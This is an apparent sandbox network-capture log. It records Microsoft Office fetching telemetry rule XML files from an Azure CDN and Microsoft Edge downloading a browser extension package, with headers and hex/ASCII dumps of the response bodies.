2024-11-13 13:41:25 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.7	49805	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:25 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134125Z-16547b76f7fkj7j4hC1DFW0a9g0000000h8g000000003mt8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.7	49803	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:25 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 50ec53c4-601e-0070-35a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134125Z-r178fb8d765bflfthC1DFWuy9n000000015000000000a9m6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49801	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:25 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:25 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: a2911e08-e01e-003c-21a2-34c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134125Z-r178fb8d7654njfdhC1DFWd04800000000y000000000ffn9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49809	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 43524bb3-601e-003e-69d2-2c3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134126Z-16547b76f7fj897nhC1DFWdwq40000000h30000000007yh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.7	49810	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:26 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:26 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 26b51f4a-e01e-0099-4da5-34da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134126Z-r178fb8d765cgqv6hC1DFWsdr4000000011000000000dssh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49813	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:26 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 229e582e-901e-0083-26d2-2cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134126Z-16547b76f7fkj7j4hC1DFW0a9g0000000h8g000000003mwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49812	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:26 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:27 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:26 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 96cf3c30-101e-008d-3e69-3592e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134126Z-1749fc9bdbdv5qmhhC1DFWf758000000016g000000001wn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:27 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49811	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:26 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:27 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 9ec2e68b-201e-0096-6cd2-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134126Z-16547b76f7fp6mhthC1DFWrggn0000000hb0000000007u5h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49815	142.250.186.97	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:27 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:28 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY1rN40-9iQQIQZCuil1s4tNU34_0IlkQngwS84_OOoNBazlDD3dVhZ5hIa5j9rJiL1hXYlef3kVqQ X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Tue, 12 Nov 2024 20:33:29 GMT Expires: Wed, 12 Nov 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 61678 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-13 13:41:28 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-13 13:41:28 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
